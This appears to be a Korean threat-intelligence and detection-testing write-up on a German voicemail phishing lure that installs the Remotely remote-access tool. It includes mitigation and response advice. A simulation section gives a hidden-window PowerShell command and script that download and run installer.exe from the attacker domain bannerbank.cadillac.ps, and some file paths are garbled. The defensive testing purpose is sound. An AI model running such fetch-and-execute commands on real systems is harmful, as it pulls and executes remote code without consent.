음성사서함 덫: 독일어 음성사서함 유도가 원격 접근으로 연결됨

요약

위협 행위자는 사용자가 BAT 파일을 다운로드하도록 유도하는 독일어 “음성 메일” 랜딩 페이지를 호스팅하고 있습니다. 이 스크립트는 benign한 오디오 미끼를 재생하며 조용히 합법적인 Remotely 원격 모니터링 도구를 설치합니다. 배포되면, RMM 에이전트는 공격자가 제어하는 C2 인프라를 통해 지속적인 원격 액세스를 공격자에게 제공합니다.

조사

Censys는 악성 BAT를 배포하는 *.cadillac.ps 도메인에서 86개의 손상된 웹 속성을 식별했습니다. 이 스크립트는 remotely.billbutterworth.com에 호스팅된 PowerShell 설치 프로그램을 호출하여 Remotely ZIP 패키지를 가져옵니다. 이 아카이브에는 Remotely 에이전트 구성 요소와 C:Program FilesRemotely에 설치되는 서비스가 포함되어 있습니다.

완화

DNS/프록시 계층에서 *.cadillac.ps 도메인과 remotely.billbutterworth.com을 차단하십시오. 사용자가 예상치 못한 BAT 파일을 실행하거나 알려지지 않은 웹 페이지에서 PowerShell 명령을 복사/붙여넣기 하지 않도록 교육하십시오. Remotely 서비스 생성 및 의심스러운 설치 경로 또는 서명되지 않은 도구를 탐지하기 위해 엔드포인트 통제를 배포하십시오.

대응

Program Files 아래에 Remotely_Service 생성 및 Remotely_Agent.exe 존재를 알립니다. voicemail.bat 및 연결된 PowerShell 설치 활동을 검색합니다. 영향을 받은 호스트를 격리하고, 포렌식 아티팩트를 수집하며, RMM 에이전트가 사용한 자격 증명이나 토큰을 회전/취소하십시오.

시뮬레이션 실행

전제 조건: Telemetry & Baseline 프리플라이트 점검이 완료되어야 합니다.

이유: 이 섹션에서는 탐지 규칙을 촉발시키도록 설계된 적대적 기술 (TTP)의 정확한 실행 세부 사항을 설명합니다. 명령어 및 서술은 반드시 식별된 TTP를 직접 반영하고 탐지 로그에 의해 예상되는 정확한 텔레메트리를 생성하도록 해야 합니다. 추상적이거나 관련 없는 예시는 잘못된 결과로 이어질 것입니다.

• 공격 서사 및 명령어:

  1. 피싱 전달: 공격자는 피해자를 http://bannerbank.cadillac.ps/voicemail.html으로 리디렉션 하는 독일어 음성 메일 미끼 첨부 파일 (HTML)이 포함된 이메일을 보냅니다. http://bannerbank.cadillac.ps/voicemail.html.
  2. 랜딩 페이지 실행: 랜딩 페이지는 원격 관리 도구 (RMM) 설치 프로그램을 다운로드하고 실행하는 악성 PowerShell 원라이너를 호스팅합니다.
  3. 프로세스 생성: 피해자의 브라우저가 페이지를 처리할 때, PowerShell은 명령행으로 호출됩니다. 이 명령행은 규칙이 주의하는 두 문자열을 포함합니다. 명시적으로 이 두 개의 문자열을 포함합니다.
  4. 결과 텔레메트리: Windows 로그 이벤트 ID 4688에는 CommandLine 명령어에 “음성 메일 테마의 랜딩 페이지” and “bannerbank.cadillac.ps”이 포함되어 Sigma 조건을 충족시킵니다.

  시뮬레이션에 사용된 정확한 명령어:

  # 시뮬레이션 된 악성 실행 – 두 개의 트리거 문자열 포함
  Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"Write-Host 'voicemail-themed landing page'; Invoke-WebRequest -Uri 'http://bannerbank.cadillac.ps/installer.exe' -OutFile $env:TEMPinstaller.exe; Start-Process $env:TEMPinstaller.exe`""

• 회귀 테스트 스크립트: 요약 설명 시그마 탐지 규칙을 활성화하는 독일 음성 메일 미끼를 시뮬레이션 설명 명령어 라인에서 두 개의 필수 하위 문자열을 포함하여 PowerShell 명령어를 실행합니다. 악성 문자열 정의 $lureText = “음성 메일 랜딩 페이지” $maliciousDomain = “bannerbank.cadillac.ps” 명령행에 나타날 원라인 생성 $payload = “Write-Host ‘$lureText’; Invoke-WebRequest -Uri ‘http://$maliciousDomain/installer.exe’ -OutFile $env:TEMPinstaller.exe; Start-Process $env:TEMPinstaller.exe ” PowerShell을 생성된 명령어와 함께 실행 $psArgs = “-NoProfile -WindowStyle Hidden -Command “$payload”” Write-Host “악성 PowerShell 명령어 실행 중…” Start-Process -FilePath “powershell.exe” -ArgumentList $psArgs -PassThru 로깅 보장을 위하여 몇 초 동안 대기 Start-Sleep -Seconds 5

  <#
  .SYNOPSIS
      Simulates the German voicemail lure that triggers the Sigma detection rule.
  .DESCRIPTION
      Executes a PowerShell command line containing both required substrings.
  #>
  
  # Define malicious strings
  $lureText = "voicemail-themed landing page"
  $maliciousDomain = "bannerbank.cadillac.ps"
  
  # Build the one‑liner that will appear in the command line
  $payload = @"
  Write-Host '$lureText';
  Invoke-WebRequest -Uri 'http://$maliciousDomain/installer.exe' -OutFile $env:TEMPinstaller.exe;
  Start-Process $env:TEMPinstaller.exe
  "@
  
  # Launch PowerShell with the crafted command line
  $psArgs = "-NoProfile -WindowStyle Hidden -Command `"$payload`""
  Write-Host "Launching malicious PowerShell command..."
  Start-Process -FilePath "powershell.exe" -ArgumentList $psArgs -PassThru
  
  # Optional: wait a few seconds to ensure logging
  Start-Sleep -Seconds 5

• 정리 명령어: 다운로드된 설치 프로그램 및 잔여 프로세스를 제거합니다.

  # 남아있는 설치 프로그램 프로세스 중지
  Get-Process -Name "installer" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # 임시 설치 파일 삭제
  $installerPath = "$env:TEMPinstaller.exe"
  if (Test-Path $installerPath) {
      Remove-Item $installerPath -Force
      Write-Host "정리 완료된 $installerPath"
  }